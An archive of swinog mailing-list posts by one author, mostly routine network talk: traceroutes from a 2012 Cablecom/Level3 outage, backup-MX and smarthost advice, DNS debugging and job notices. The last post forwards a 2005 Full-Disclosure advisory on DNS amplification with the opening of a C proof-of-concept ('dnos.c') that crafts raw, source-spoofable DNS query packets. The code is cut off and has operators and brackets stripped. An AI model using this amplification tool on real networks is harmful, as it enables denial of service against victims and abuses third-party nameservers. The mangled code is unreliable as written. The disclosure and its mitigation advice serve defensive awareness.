27.647 ms  9.696 ms

 5  4.68.127.49 (4.68.127.49)  672.968 ms  91.246 ms  29.914 ms
 6  * * *
 7  *^C
fabian@superman:~ $

fabian@superman:~ $ traceroute blog.fefe.de
traceroute to blog.fefe.de (80.244.246.150), 64 hops max, 52 byte 
packets

 1  * * *
 2  217-168-57-129.static.cablecom.ch (217.168.57.129)  10.778 
ms  14.755 ms  32.093 ms

 3  * 62.2.4.161 (62.2.4.161)  10.425 ms  47.577 ms
 4  ch-zrh01b-ra1-ae-1.aorta.net (84.116.134.142)  12.821 ms 
12.515 ms  30.693 ms

 5  4.68.127.49 (4.68.127.49)  818.652 ms  32.692 ms  109.788 ms
 6  * * *
 7  * *^C
fabian@superman:~ $

fabian@superman:~ $ traceroute www.level3.com
traceroute to www.level3.com (4.68.90.77), 64 hops max, 52 byte 
packets

 1  * * *
 2  217-168-57-129.static.cablecom.ch (217.168.57.129)  16.681 
ms  53.748 ms  9.948 ms

 3  62.2.4.161 (62.2.4.161)  9.223 ms  12.578 ms  9.463 ms
 4  ch-zrh01b-ra1-ae-1.aorta.net (84.116.134.142)  9.603 ms 
17.305 ms  11.212 ms

 5  4.68.127.49 (4.68.127.49)  158.420 ms  678.336 ms  30.643 ms
 6  * * *
 7  * * *
 8  * * *
 9  * * *
^C
fabian@superman:~ $


bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Routing problems @ cablecom?

[Fabian Wenk]

Hello

On 26.05.2012 17:27, Fabian Wenk wrote:

can not be reached. I have sent an e-mail to the upc cablecom
business support with the same traceroute outputs and asked them
to forward it to the network team:


I just got the following answer from upc cablecom support (in 
German):


---8
Guten Tag,

zurzeit haben wir eine grössere Störung mit den Verbindungen zum 
Internet. Unsere Experten von UPC NL sind dran das Problem zu 
finden und schnellst möglich eine Lösung zu finden. Wir werden 
sie sobald als möglich wieder informieren.


Kind regards / Freundliche Grüsse / Meilleures salutations / 
Cordiali saluti


[Name entfernt]
UPC Cablecom Business Casehandler
---8


bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Routing problems @ cablecom?

[Fabian Wenk]

Hello Sébastien

On 26.05.2012 18:34, Sébastien Riccio wrote:

Hi. Thanks for the info.


You're welcome.


Btw, for me it looks that it's a level3 problem. That router 4.68.127.49
is not reachable from other places aswell. Not only from upc...


I know ('whois 4.68.127.49' helped), I did write the following to 
them:


---8
Soweit ich festgestellt habe, sind diverse Ziele welche via Level 
3 (4.68.127.49) gehen nicht erreichbar.

---8

But I think an knowledgeable network admin should recognize this 
anyway, that the router belonging to their upstream causes the 
trouble. :)


It seems that I just got the default answer from the first level 
support (as other business customers got the same answer). I 
guess the network team will figure out what is going wrong.


And just as I am almost finished this e-mail the following 
message arrived:


---8
Guten Tag,

die Störung ist behoben, bitte testen sie es und melden sie uns 
allfällige Probleme wieder.



Kind regards / Freundliche Grüsse / Meilleures salutations / 
Cordiali saluti


[Name entfernt]
UPC Cablecom Business Casehandler
---8

As far as I see it, it is working again.


bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Routing problems @ cablecom?

[Fabian Wenk]

Hello

On 26.05.2012 19:01, Fabian Wenk wrote:


As far as I see it, it is working again.


Here the traceroute outputs, if somebody is interested:

fabian@superman:~ $ traceroute www.imp.ch
traceroute to www.imp.ch (157.161.7.7), 64 hops max, 52 byte packets
 1  * * *
 2  217-168-57-129.static.cablecom.ch (217.168.57.129)  14.706 
ms  11.862 ms  42.046 ms

 3  62.2.4.161 (62.2.4.161)  12.966 ms  11.959 ms  12.937 ms
 4  ch-zrh01b-ra1-ae-1.aorta.net (84.116.134.142)  12.095 ms 
29.252 ms  11.978 ms
 5  ch-gva02a-si1.aorta.net (213.46.171.14)  62.443 ms  10.440 
ms  32.216 ms
 6  r1zrh2.core.init7.net (77.109.128.242)  33.627 ms  16.978 ms 
 10.833 ms
 7  r1bas1.core.init7.net (77.109.128.130)  32.221 ms  17.612 ms 
 13.200 ms
 8  r1bas2.core.init7.net (77.109.140.66)  10.854 ms  14.911 ms 
 196.355 ms
 9  gw-improware.init7.net (77.109.134.2)  14.835 ms  55.763 ms 
 44.058 ms

10  virtserver.imp.ch (157.161.7.7)  19.224 ms  30.407 ms  34.085 ms
fabian@superman:~ $

fabian@superman:~ $ traceroute blog.fefe.de
traceroute to blog.fefe.de (80.244.246.150), 64 hops max, 52 byte 
packets

 1  * * *
 2  217-168-57-129.static.cablecom.ch (217.168.57.129)  74.490 
ms  12.632 ms  38.955 ms

 3  * * *
 4  84.116.136.214 (84.116.136.214)  38.281 ms
84.116.136.170 (84.116.136.170)  32.065 ms
84.116.136.214 (84.116.136.214)  20.813 ms
 5  de-fra01a-ri2-xe-5-1-1.aorta.net (84.116.133.114)  18.615 ms
de-fra01a-ri2-xe-0-2-0.aorta.net (213.46.179.110)  37.416 ms
de-fra01a-ri2-xe-4-0-0.aorta.net (84.116.130.138)  24.055 ms
 6  4.68.62.209 (4.68.62.209)  35.548 ms  15.707 ms  17.334 ms
 7  xae0-3356.fra10.core-backbone.com (195.16.162.18)  53.455 ms 
 53.197 ms  23.936 ms
 8  xae0-2001.nbg20.core-backbone.com (81.95.15.162)  31.593 ms 
 30.656 ms  22.482 ms
 9  cbb.nbg.vollmar.net (81.95.15.30)  63.666 ms  22.755 ms 
21.712 ms
10  ae1.ex1.rz1.nbg.vollmar.net (194.126.196.162)  53.684 ms 
30.002 ms  24.526 ms

11  qarx.de (80.244.246.150)  23.003 ms  41.385 ms  46.641 ms
fabian@superman:~ $

fabian@superman:~ $ traceroute www.level3.com
traceroute to www.level3.com (4.68.90.77), 64 hops max, 52 byte 
packets

 1  * * *
 2  217-168-57-129.static.cablecom.ch (217.168.57.129)  10.846 
ms  18.378 ms  39.063 ms

 3  62.2.4.161 (62.2.4.161)  13.353 ms  11.733 ms  13.955 ms
 4  84.116.136.214 (84.116.136.214)  49.078 ms  126.628 ms
84.116.136.170 (84.116.136.170)  18.052 ms
 5  de-fra01a-ri2-xe-4-0-0.aorta.net (84.116.130.138)  34.545 ms 
 39.384 ms

de-fra01a-ri2-xe-5-1-1.aorta.net (84.116.133.114)  21.955 ms
 6  4.68.62.209 (4.68.62.209)  21.407 ms  42.247 ms  59.056 ms
 7  vlan60.csw1.Frankfurt1.Level3.net (4.69.154.62)  55.827 ms 
71.223 ms

vlan80.csw3.Frankfurt1.Level3.net (4.69.154.190)  40.174 ms
 8  ae-81-81.ebr1.Frankfurt1.Level3.net (4.69.140.9)  23.599 ms 
 18.566 ms

ae-71-71.ebr1.Frankfurt1.Level3.net (4.69.140.5)  36.446 ms
 9  ae-45-45.ebr2.Paris1.Level3.net (4.69.143.134)  77.277 ms
ae-47-47.ebr2.Paris1.Level3.net (4.69.143.142)  49.642 ms
ae-48-48.ebr2.Paris1.Level3.net (4.69.143.146)  55.220 ms
10  ae-41-41.ebr2.Washington1.Level3.net (4.69.137.50)  112.019 
ms  142.688 ms  130.645 ms
11  ae-5-5.ebr2.Washington12.Level3.net (4.69.143.222)  157.451 
ms  147.742 ms  113.574 ms
12  ae-6-6.ebr2.Chicago2.Level3.net (4.69.148.146)  134.205 ms 
142.280 ms  217.207 ms
13  ae-1-100.ebr1.Chicago2.Level3.net (4.69.132.113)  193.372 ms 
 129.362 ms  137.209 ms
14  ae-3-3.ebr2.Denver1.Level3.net (4.69.132.61)  156.382 ms 
183.160 ms  183.261 ms
15  ae-22-52.car2.Denver1.Level3.net (4.69.147.100)  156.630 ms 
204.054 ms  173.957 ms

16  4.68.94.18 (4.68.94.18)  182.775 ms  163.087 ms  160.092 ms
17  4.68.94.33 (4.68.94.33)  181.867 ms  158.717 ms  174.935 ms
18  eth2.l3hqdc7705.idc1.Broomfield1.Level3.net (4.68.92.2) 
181.128 ms  156.008 ms  163.360 ms

19  4.68.92.33 (4.68.92.33)  197.234 ms  203.073 ms  176.334 ms
20  * * *
21  * * *
22  * * *
23  * *^C
fabian@superman:~ $

Traceroute seems to be blocked by a firewall, access to 
http://www.level3.com/ with a browser does work.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Pro / Contra Backup MX?

[Fabian Wenk]

Hello Benoit

On 24.05.2012 16:55, Benoit Panizzon wrote:

We have business customers with an own mailservers asking us to provide a
backup MX for their mailserver.
Usualy we deny such request, because such a backup MX would bounce all spam
which cannot be relayed, and anyway, the sending server usualy queues the
email usualy about the same amount of time a backup mx would queue it. So we
see not advantage, but a big disatvantage.


I do not speak from an ISP point of view, but I hope that my 
input may be helpful too.


I would only run a backup MX for customers (or anybody else), if 
the master MX does not reject any e-mails from the backup MX at 
the SMTP communication level.


And it should also be possible for the backup MX to know all 
valid users which the master MX will accept e-mail for. Postfix 
does support Recipient address verification [1] (see about 1/3 
down the page), even with saving the results locally. An other 
option is, if the customer is somehow providing regular updates 
to the list of valid recipients.


  [1] http://www.postfix.org/ADDRESS_VERIFICATION_README.html


bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Pro / Contra Smarthosting

[Fabian Wenk]

Hello Benoit

On 24.05.2012 17:07, Benoit Panizzon wrote:

Some do not agree. The reasons the tell us are:

- It Tech XY has told them that sending via a smarthost is much more reliable.


And the customer is loosing the possibility to check on his own, 
if an e-mail has been delivered or is still in the queue.



- Our Server has better 'reputation' than theirs and thus emails are less
likely to be considered spam by some spamfilters.


Then they are sending out e-mails (intentional or not), which 
helped to give a bad reputation...



- Some seem to see DNS issues which I never could understand (they have
correct PTR and MX settings for their mailservers).


It also helps, if the sending MTA does use the same hostname in 
the SMTP helo/ehlo, which is configured for the A and PTR DNS 
record of the sending IP address.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Wie wird eine E-Mail uebermittelt?

[Fabian Wenk]

Hello Viktor

On 22.05.10 20:02, Viktor Steinmann wrote:

Despite the joy of seeing Arnold on TV (and in the last issue of c't
b.t.w), this is probably the worst movie about how the internet/mail
works *ever*. Actually it's so bad, that it has some entertainment
value. Examples: Internet traffic is split into packets at the
provider's permises, not on your host. Several packets of the same data
stream are routed through about 5 different paths at the same time.
Malware sits in routers or somewhere along the path of the packets and
attacks them directly there (and the packets fight back...). Journalists
mind-farts never looked better


The factual error about malware is probably the worst. Because 
this will not help that people will learn to understand how 
viruses really works and that they are probably helping in the 
distribution by their own actions. As far as I know, still almost 
all of the viruses need action from the user to get activated, eg. 
open the .zip and/or clicking on the .exe or by accepting to start 
a program offered from the browser to be run.


This movie shows that this whole Internet thing is to complicated 
to be technically understood by a regular user. The answers from 
the people on the street at the beginning shows this clearly too.



bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

[swinog] Wie wird eine E-Mail uebermittelt?

[Fabian Wenk]

Hello

Somehow interesting to watch (Audio is in German) and with a known 
person starting at 08:08. :)


http://www.prosieben.ch/tv/galileo/videos/clip/23349-wie-wird-eine-email-uebermittelt-1.1703945/


bye
Fabian


___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] Cablecom Winterthur blocking outgoing SMB connections?

[Fabian Wenk]

Hello Benoit

Benoit Panizzon wrote:
Now I have two different people reporting they don't manage to connect my 
samba server. It turned out, both of them live in Winterthur and have 
Cablecom as ISP.


I have tested the connection from a Cablecom Customer in another town and it 
worked perfectly.


I guess this is probably the behavior of a NAT router and/or 
firewall which is in use at your friends place. For testing 
purposes, connect the Computer directly to the cable modem and try 
to connect to the Samba server.


Could also be a personal firewall on the friends computer.


bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

[swinog] I am available as a Systems Engineer / Systems Administrator in Zurich

[Fabian Wenk]

Hello

After a half year break from work I'm ready for a new challenge as 
a Systems Engineer / Systems Administrator in or around Zurich.


I prefer to do concept, planning, building and upgrading work for 
central server infrastructures in a corporate environment or ISP 
setup using mostly open source software. Using the central 
services for unified login, storage and printing solutions to 
integrate with Linux, Windows and Mac workstations is something I 
like. My good background with the Windows client / server concept 
including central storage for user logins, settings and data 
running on Samba servers is helping me with this. Also the good 
fundamentals about automated centralized workstation setup and 
upgrade solutions is helping me be a project leader or mentor for 
the person doing workstation maintenance. With my wide knowledge 
about several aspects in the IT business, including good TCP/IP 
and general networking, I also can do overall concept work for the 
whole IT environment.


Finding the needs and requirements of the users and try to realize 
a wise solution for it is my primary goal. I am used to act 
independently, but I also prefer working as part of a team. Acting 
 foresighted and doing trouble shooting quick and to keep calm is 
one of my benefit. I am used to learn new stuff as needed and 
constantly try to keep up to date in the IT sector.


If you are interested to have me working for your company, or know 
somebody who could have an interesting job for me, please see my 
online resume [1] (only in German) for detailed information about 
my skills. You can also contact me at [EMAIL PROTECTED] and I will 
send the complete resume including letters of reference as a PDF.


  [1] http://www.wenks.ch/fabian/lebenslauf.html

My last salary was between 110'000 to 120'000 CHF a year and I 
would prefer to at least keep it around there.



bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] UCEProtect Blacklist -- join the club

[Fabian Wenk]

Hello Charles

Charles Buckley wrote:

The ETH should know better than to be using such people anyway -- I have
informed them of the problem.


At ETH Zurich it depends to which subdomain you are sending 
e-mail, because some departments run their own mail server with 
their own policies.


But I guess most others depend on the mail service provided from 
Informatikdienste (ID). I once had a chance to attend a 
presentation of their mail setup (especialy the mx hosts with the 
spam and virus filtering) and therefore I know that they are using 
a few DNS Blacklists to drop mail at the smtp communication. But I 
don't remember which. Contacting the postmaster at ethz.ch should 
help.



bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] BIG FAT WARNING Watch your Looking Glass

[Fabian Wenk]

Hello Pascal

Pascal Gloor wrote:
the ones having a looking-glass sending regexp commands to a cisco  
router should disable it ASAP.


I think I already had read about this somewhere else in the last 
few weeks.


Ok, found it (did not find it in the Bugtraq or Full-Discolsure 
mailing lists), Google pointed me to Cisco IOS Show IP BGP Regexp 
Remote Denial of Service Vulnerability [1], and the reference 
there points to a Heise article (which seems to be the main 
source). It has been published on the 17. August 2007, see the 
DoS vulnerability in Cisco IOS compromises Internet routers 
[Update] (English) [2] or DoS-Lücke in Cisco IOS gefährdet 
Router der Internet Provider [Update] (German) [3].


  [1] http://www.securityfocus.com/bid/25352
  [2] http://www.heise-security.co.uk/news/94526/
  [3] http://www.heise.de/newsticker/meldung/94517/


bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] feedback on pppoe needed

[Fabian Wenk]

Hello Christian and Bernd

Christian Jouas wrote:

PPPoE (over Ethernet) --- Ethernet max 1500
But I'm very curious if there are some non standards drafts over
ethernet for such kind of applications ?


I guess, that MTU higher then 1500 over Ethernet should not be a 
problem, switches which support IEEE 802.1Q VLANs also do this. 
But according to the FreeBSD VLAN(4) manpage not every NIC does 
support it.



Spiess Bernd [EMAIL PROTECTED] 12.06.2007 18:00 

as i understand you correct mtu 1492 under PPPoE is
still an issue in the mentioned cases. 


Yes its is.

has anyone tried to build PPPoE with an MTU 1508 
infrastructure ?


I do not know, as I know the ADSL infrastructure only from the end 
user side.



bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] 10'000/1'000 Cable Access

[Fabian Wenk]

Hello Daniel

Daniel Lorch wrote:
10'000/1'000 Kbps cable access here in lausanne for monthly 125 CHF (or 
104 CHF with yearly payment). And how's the other side of the barrière 
de roesti doing? Still at 6000/600?


In the Area of Wasserwerke Zug (Data Zug) you can get a maximum of 
10'000/10'000 kbit/s, see [1]. Ok, I know, it is volume based. 
They also have some nice symetric offers with static IPs.


  [1] http://www.datazug.ch/FS_DZ03_internetz.htm

PS: I don't work for them and I'm not a customer there.


bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

[swinog] Arbeiten in einem hauptsaechlichen Open Source Umfeld?

[Fabian Wenk]

Hallo

(Sorry, this time only in German, which is needed for the job anyway)

Ich suche einen mir mindestens ebenbuertigen Arbeitskollegen
welcher mit mir zusammen im Team der Informatik Support Gruppe des
Departement Physik der ETH Zuerich den vielseitigen Betrieb der
Server-Infrastruktur betreuen moechte.

Zu weiteren Aufgaben gehoeren unter anderem die technische
Beratung / Fuehrung der weiteren Teammitglieder bei der
automatischen Client Installationen und Updates sowie
Loesungsfindungen der an uns herangetragenen interessanten
Herausforderungen im speziellen akademischen IT-Umfeld.

Weitere Informationen befinden sich unter Open Positions [1] auf
der Website des Departement Physik [2].

[1] http://www.phys.ethz.ch/phys/dep/openpos
[2] http://www.phys.ethz.ch/

Der Arbeitsort befindet sich auf dem Campus Hoenggerberg [3], wo
es gelegentlich auch bei schlechtem Wetter gute Aussicht gibt. ;)

[3] http://www.phys.ethz.ch/phys/bilder/campus.jpg


bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] ns1.ip-plus.net out of service ?

[Fabian Wenk]

Hello Martin

Martin Blapp wrote:


-bash-2.05b# dig @ns1.ip-plus.net swisscom.com


Why are you looking at ns1.ip-plus.net for checking the 
swisscom.com domain? Or are you a customer of IP-Plus and are 
using their namservers for lookups?


[EMAIL PROTECTED]:~$ whois swisscom.com

   Domain servers in listed order:

   NS.SWISSCOM.COM  138.190.13.10
   NS1.SWISSCOM.COM 138.190.14.10

[EMAIL PROTECTED]:~$ host ns.swisscom.com
ns.swisscom.com A   138.190.13.10
[EMAIL PROTECTED]:~$ host ns1.swisscom.com
ns1.swisscom.comA   138.190.14.10

but:

[EMAIL PROTECTED]:~$ host ns1.ip-plus.net
ns1.ip-plus.net A   164.128.36.34




-bash-2.05b# dig @ns1.ip-plus.net karger.com


Ok, for this domain ns1.ip-plus.net is listed:

[EMAIL PROTECTED]:~$ whois karger.com

Domain servers in listed order:
karns.karger.com
ns1.ip-plus.net

[EMAIL PROTECTED]:~$ host karns.karger.com
karns.karger.com does not exist, try again

Looking up directly at a root nameserver seems to work:

[EMAIL PROTECTED]:~$ host -t any karger.com a.gtld-servers.net
karger.com  NS  karns.karger.com
karger.com  NS  ns1.ip-plus.net
[EMAIL PROTECTED]:~$ host -t a karns.karger.com a.gtld-servers.net
karns.karger.comA   194.209.48.6

it also works on their nameserver:

[EMAIL PROTECTED]:~$ host -t any karger.com 194.209.48.6
karger.com  A   194.209.48.2
karger.com  NS  karns.karger.ch
karger.com  NS  ns1.ip-plus.net
karger.com  SOA karns.karger.ch 
administrator.karger.ch (

2004102244  ;serial (version)
10800   ;refresh period (3 hours)
3600;retry interval (1 hour)
604800  ;expire time (1 week)
86400   ;default ttl (1 day)
)
karger.com  MX  20 avmail.ip-plus.net
karger.com  MX  10 mail1.karger.ch
karger.com  TXT v=spf1 mx -all

But not on ns1.ip-plus.net:

[EMAIL PROTECTED]:~$ host -t any karger.com ns1.ip-plus.net
karger.com ANY record query refused by ns1.ip-plus.net
[EMAIL PROTECTED]:~$ host -t ns karger.com ns1.ip-plus.net
karger.com NS record query refused by ns1.ip-plus.net
[EMAIL PROTECTED]:~$ host -t mx karger.com ns1.ip-plus.net
karger.com A record query refused by ns1.ip-plus.net

So something with the karger.com domains seems to be wrong.


Can anybody at swisscom look at this problem ?


Could probably only be a problem of karger.com, which eventually 
do not anymore allow zone transfers from ns1.ip-plus.net and so 
the zone expired at ns1.ip-plus.net.



bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] SMS-Gateway

[Fabian Wenk]

Hello Stefan

Stefan Rothenbühler wrote:

Thanks a lot for all your answers. For an internet SMS gateway we have a
solutions (yes, we are ip+ customer). I'm more searching a hardware solution
(to be independent of connectivity to the internet which can also fail).


There is also YaPS [1] available, which can use any modem and the 
UCP gateway of Swisscom (dial-in with modem / ISDN) to deliver 
SMS. I had implemented YaPS at my last job for alerting and the 
customer SMS gateway. With the UCP Gateway you can define the 
sending number of the SMS.


  [1] http://freshmeat.net/projects/yaps/

I could not find the document Computerlösungen für TELEPAGE® und 
NATEL® message (SMS) any more on the Swisscom website with the 
listed phone numbers for such services.


The UCP gateway is available with analog (079 499 89 90) and ISDN 
(with V.120, 0900 900 941). The Tarif for the ISDN number was 
back then (around 2002) the following, probably has changed now:


The 2.second costs -.30 CHF, afterwards -.79 CHF/minute (in -.10 
CHF steps). So a connection duration from 2 to 9.5 seconds costs 
-.30 CHF. This information were from Swisscom (Tel. 0800 848 900).


I know, it is a little bit expensive, but independent of any 
internet service or mobile phone in the datacenter. If I remember 
correctly, there is also the possibility for a 'large account', 
if you are sending a lot of SMS this way, which should give you 
cheaper rates. Ask your phone carrier. ;)


If you are interested in this solution, I can send you some more 
information and even a patch so that YaPS also can use some 
special characters (@ sign, Umlaute, ...) with the Swisscom SMSC. 
Probably I should once take some time to document and publish 
this properly.



bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Re: [swinog] *SPECIAL* SwiNOG-BE27 - Beer Event 27 - 11th of July @ Oerlikerpark

[Fabian Wenk]

Hello Steven

Steven Glogger wrote:


problems (!!!):
---
there is NO public toilet in the near. so please consider this before
leaving for the BE ,-)


As I live just at the Oerlikerpark, I can offer using the toilet 
in my apartment, but only for emergencies, as I don't want to 
walk away from the BE every 5 minutes. ;)



If my wireless access point is reachable from the BBQ place, then 
there will also be internet connectivity.



bye
Fabian
___
swinog mailing list
swinog@lists.swinog.ch
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

[swinog] [Fwd: [Full-disclosure] DNS Smurf revisited]

[Fabian Wenk]

Hello

This Mail [1] arrived just over the Full-Disclosure mailinglist 
[2], but should probably also be of interest to some people here.


  [1] 
http://lists.grok.org.uk/pipermail/full-disclosure/2005-May/034342.html

  [2] https://lists.grok.org.uk/mailman/listinfo/full-disclosure


bye
Fabian

 Original Message 
Subject: [Full-disclosure] DNS Smurf revisited
Date: Fri, 27 May 2005 10:28:37 -0400
From: Ian Gulliver [EMAIL PROTECTED]
To: full-disclosure@lists.grok.org.uk

DNS smurf is old news:

http://www.s0ftpj.org/docs/spj-002-000.txt
http://www.ciac.org/ciac/bulletins/j-063.shtml

However, as ISPs continue to operate networks that let spoofed 
packets out this issue deserves a little publicity again.


10:17:07.641061 IP (tos 0x0, ttl  64, id 46429, offset 0, flags 
[DF], length: 49) X.44295  
c.gtld-servers.net.domain: [udp sum ok]  18297 ANY? org. (21)
10:17:07.673800 IP (tos 0x0, ttl  43, id 0, offset 0, flags [DF], 
length: 468) c.gtld-servers.net.domain  X.44295: 
18297- 0/13/13 (440)


% echo 2 k 468 49 / p | dc
9.55

That's a 9.5X amplification of outgoing traffic; you can probably 
break 10X with a little more work on the query and nameserver 
choices.



SOLUTIONS
-

ISPs: Drop outgoing packets that don't originate from within your
network.  You should already be doing this, as it stops a variety 
of other attacks.


NS operators: Ratelimit?


Attached is a modernized proof of concept.

--
Ian Gulliver
Penguin Hosting
Failure is not an option; it comes bundled with your Microsoft 
products.


/*
 * dnos.c - DNS amplified DoS proof of concept
 * Copyright (C) 2005 Ian Gulliver
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of version 2 of the GNU General Public License as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 * */

// Linux will do the IP checksum in the kernel anyway
#define SKIP_IP_CHECKSUM

#include stdlib.h
#include time.h
#include stdio.h
#include netinet/ip.h
#include netdb.h
#include sys/socket.h
#include netinet/in.h
#include arpa/inet.h
#include string.h
#include strings.h

struct s_packet {
	unsigned char	packet[512];
	unsigned int	len;
	struct sockaddr_in	dest;
	struct s_packet *next;
};

struct s_dns_rr_type {
	char		name[6];
	char		value[3];
};

struct s_dns_rr_type rr_types[] = {
	{ A, \x00\x01 },
	{ NS,\x00\x02 },
	{ CNAME, \x00\x05 },
	{ SOA,   \x00\x06 },
	{ PTR,   \x00\x0c },
	{ MX,\x00\x0f },
	{ TXT,   \x00\x10 },
	{ ,  \x00\x1c },
	{ ANY,   \x00\xff }
};

struct s_packet *packet_head = NULL;

static const unsigned char packet_template[] =
	// IP Header
	\x45 // 00: Version (4), header size in 4-byte blocks (5)
	\x00 // 01: TOS (0)
	\x00\x00 // 02-03: Total length (filled in later)
	\x00\x00 // 04-05: ID (random)
	\x40\x00 // 06-07: Flags (4 = DF), fragment offset (0)
	\x00 // 08: TTL (random  64)
	\x11 // 09: Protocol (17 = UDP)
	\x00\x00 // 10-11: Header checksum (filled in later)
	\x00\x00\x00\x00 // 12-15: Source IP (filled in later)
	\x00\x00\x00\x00 // 16-19: Destination IP (filled in later)

	// UDP Header
	\x00\x00 // 20-21: Source port (random)
	\x00\x35 // 22-23: Destination port (53)
	\x00\x00 // 24-25: UDP packet length (filled in later)
	\x00\x00 // 26-27: UDP packet checksum (filled in later)

	// DNS packet
	\x00\x00 // 28-29: Identification (random)
	\x00\x00 // 30-31: Flags (0)
	\x00\x01 // 32-33: Questions (1)
	\x00\x00 // 34-35: Answers (0)
	\x00\x00 // 36-37: Authority (0)
	\x00\x00 // 38-39: Additional (0)
	// Space left to encode RRs
	;

void do_random(unsigned char *dest, int min) {
	*dest = min + (rand() % (255 - min));
}

void do_udp_checksum(struct s_packet *packet) {
	uint32_t sum = 0;
	uint16_t word;
	int i;

	packet-packet[26] = 0;
	packet-packet[27] = 0;

	for (i = 20; i  packet-len; i += 2) {
		word = ((packet-packet[i]  8)  0xff00) + (packet-packet[i+1]  0xff);
		sum += (uint32_t) word;
	}
	for (i = 12; i  20; i += 2) {
		word = ((packet-packet[i]  8)  0xff00) + (packet-packet[i+1]  0xff);
		sum += (uint32_t) word;
	}

	sum += 17 + packet-len - 20;

	while (sum  16)
		sum = (sum  0x) + (sum  16);

	sum = ~sum;

	packet-packet[27] = sum  0xff;
	packet-packet[26] = (sum  0xff00)  8;
}

void do_ip_checksum(struct s_packet *packet) {
	uint32_t sum = 0;
	uint16_t word;
	int i;

	packet-packet[10] = 0;